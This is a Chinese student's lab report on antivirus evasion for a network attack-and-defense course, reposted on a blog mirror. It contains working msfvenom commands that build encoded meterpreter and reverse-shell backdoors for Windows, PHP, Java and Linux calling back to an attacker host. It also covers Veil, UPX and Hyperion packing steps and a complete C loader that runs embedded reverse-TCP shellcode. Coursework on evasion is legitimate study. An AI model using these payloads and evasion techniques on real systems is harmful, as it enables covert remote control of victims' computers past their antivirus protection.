zoukankan      html  css  js  c++  java
  • 2019-2020-2 网络对抗技术-20175332 张苗-exp3 免杀原理与实践

    目录


    1.基础问题回答

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码

    • 启发式

    • 基于行为

    (2)免杀是做什么?

    • 软件或代码免于杀毒软件的检测

    (3)免杀的基本方法有哪些?

    • 改变特征码
      • 只有.exe ——加壳(压缩壳 加密壳)运行时慢慢释放
      • 机器指令已提取(有shellcode/meterpreter)用encode进行编码/基于payload重新编译生成可执行文件
      • 有源代码:用其他语言重新编写
    • 改变行为
      • 通讯方式:反弹连接/隧道技术/加密通讯数据
      • 操作模式:基于内存操作/减少对系统修改/加入混肴作用的正常功能代码
    • 非常规
      • 使用有漏洞应用作为后门
      • 编写攻击代码集成
      • 诱导关闭杀软

    2.开启杀软能绝对防止电脑中恶意代码吗?

    不能,使用上述方法可以实现免杀

    3.实践过程记录

    3.1正确使用msf编码器/msfvenom生成如jar之类的其他文件/veil/加壳工具/使用C + shellcode编程/使用其他课堂未介绍方法

    (1)将实验二中生成的后门程序导入Virustotal进行查杀,并将查杀结果作为后续实验参照

    (2)正确使用msf编码器
    一次编码命令:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b 'x00' LHOST=192.168.187.132 LPORT=5332 -f exe > met-encoded.exe

    • 参数解释:
      -e选择编码器
      -b是payload中需要去除的字符,由于shellcode以'x00'为结束符,所以'x00'不出现在shellcode中。

    • 查杀结果:

    十次编码命令

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘x00’ LHOST=192.168.147.130 LPORT=5332 -f exe > met-encoded10.exe

    • 参数解释: -i后加迭代次数

    • 查杀结果:很惊讶,360报病毒软件,但扫描竟然安全!

    (3)msfvenom生成如jar之类的其他文件
    生成PHP后门文件

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_backdoor.php

    查杀结果:

    生成java后门文件

    msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_java_backdoor.jar

    查杀结果:

    生成linux后门文件

    msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.147.130 LPORT=5332 x> 20175332_linux_backdoor

    chmod +x 20175332_linux_backdoor赋予权限

    查杀结果:

    (4)veil
    安装部分

    问题:始终无法展开至100%,报错安装wine

    解决方法:

    在同学帮助下参考博客:

    https://blog.csdn.net/xiang_shao344/article/details/85276612?depth_1-utm_source=distribute.pc_relevant.none-task&utm_source=distribute.pc_relevant.none-task试试这个

    问题:Can't find the WINE profile for AuotIT v3 (/var/lib/veil/wine//drive_c/Program Files/AutoIt3/Aut2Exe/Aut2exe.exe).

    解决方法:百度,参考博客:

    https://blog.csdn.net/daxueba/article/details/104638075

    历时两天,我终于安装成功了

    正式实验
    • 使用use evasion进入免杀平台

    • 进入配置界面命令:use c/meterpreter/rev_tcp.py

    • set LHOST 192.168.147.130设置反弹连接的IP地址

    • set LPORT 5332设置端口号

    • options查看设置结果

    • 输入命令generate生成文件,输入文件名20175332_veil_backdoor

    查杀结果:

    (5)加壳
    压缩壳
    • 指令:upx 20175332_backdoor.exe -o 20175332_backdoor_upxed.exe

    • 查杀结果:

    加密壳
    • 指令:wine hyperion.exe -v 20175332_backdoor_upxed.exe 20175332_backdoor_upxed_Hyperion.exe

    问题:

    解决方法:

    参考博客: https://blog.csdn.net/weixin_42453837/article/details/104518328

    问题:

    解决方法:

    将压缩壳文件复制到Hyperion-2.2文件夹下运行命令

    • 加密成功

    • 查杀结果

    (6)使用C + shellcode编程
    • 输入指令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.147.130 LPORT=5332 -f c生成一段shellcode

    • 输入指令:vim 20175332.c

    • 代码内容如下:

     unsigned char buf[] = 
    "xfcxe8x82x00x00x00x60x89xe5x31xc0x64x8bx50x30"
    "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff"
    "xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf2x52"
    "x57x8bx52x10x8bx4ax3cx8bx4cx11x78xe3x48x01xd1"
    "x51x8bx59x20x01xd3x8bx49x18xe3x3ax49x8bx34x8b"
    "x01xd6x31xffxacxc1xcfx0dx01xc7x38xe0x75xf6x03"
    "x7dxf8x3bx7dx24x75xe4x58x8bx58x24x01xd3x66x8b"
    "x0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24"
    "x24x5bx5bx61x59x5ax51xffxe0x5fx5fx5ax8bx12xeb"
    "x8dx5dx68x33x32x00x00x68x77x73x32x5fx54x68x4c"
    "x77x26x07x89xe8xffxd0xb8x90x01x00x00x29xc4x54"
    "x50x68x29x80x6bx00xffxd5x6ax0ax68xc0xa8x93x82"
    "x68x02x00x14xd4x89xe6x50x50x50x50x40x50x40x50"
    "x68xeax0fxdfxe0xffxd5x97x6ax10x56x57x68x99xa5"
    "x74x61xffxd5x85xc0x74x0axffx4ex08x75xecxe8x67"
    "x00x00x00x6ax00x6ax04x56x57x68x02xd9xc8x5fxff"
    "xd5x83xf8x00x7ex36x8bx36x6ax40x68x00x10x00x00"
    "x56x6ax00x68x58xa4x53xe5xffxd5x93x53x6ax00x56"
    "x53x57x68x02xd9xc8x5fxffxd5x83xf8x00x7dx28x58"
    "x68x00x40x00x00x6ax00x50x68x0bx2fx0fx30xffxd5"
    "x57x68x75x6ex4dx61xffxd5x5ex5exffx0cx24x0fx85"
    "x70xffxffxffxe9x9bxffxffxffx01xc3x29xc6x75xc1"
    "xc3xbbxf0xb5xa2x56x6ax00x53xffxd5";
    int main()
    {
        int (*func)() = (int(*)())buf;
        func();
    } 
    
    • 输入指令:i686-w64-mingw32-g++ 20175332.c -o 20175332.exe编译为可执行文件。

    • 查杀结果:

    (7)使用其他课堂未介绍方法
    使用veil中的其他编码方式实现免杀
    • 通过ruby实现

    • 参考老师介绍的C语言方式对ruby进行设置

    查杀结果:

    3.2通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

    ruby+压缩壳+加密壳:查杀结果超过单独的ruby程序

    3.4用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

    没有成功

    4.实践总结与体会

    虽然在本次实验中我并没有实现百分百的免杀,但是在日常使用用还是不可以掉以轻心,不能轻易下载来源不明的软件
  • 相关阅读:
    December 23rd 2016 Week 52nd Friday
    December 22nd 2016 Week 52nd Thursday
    December 21st 2016 Week 52nd Wednesday
    December 20th 2016 Week 52nd Tuesday
    December 19th 2016 Week 52nd Sunday
    December 18th 2016 Week 52nd Sunday
    uva294(唯一分解定理)
    uva11624Fire!(bfs)
    fzu2150Fire Game(双起点bfs)
    poj3276Face The Right Way
  • 原文地址:https://www.cnblogs.com/20175332zm/p/12585878.html
Copyright © 2011-2022 走看看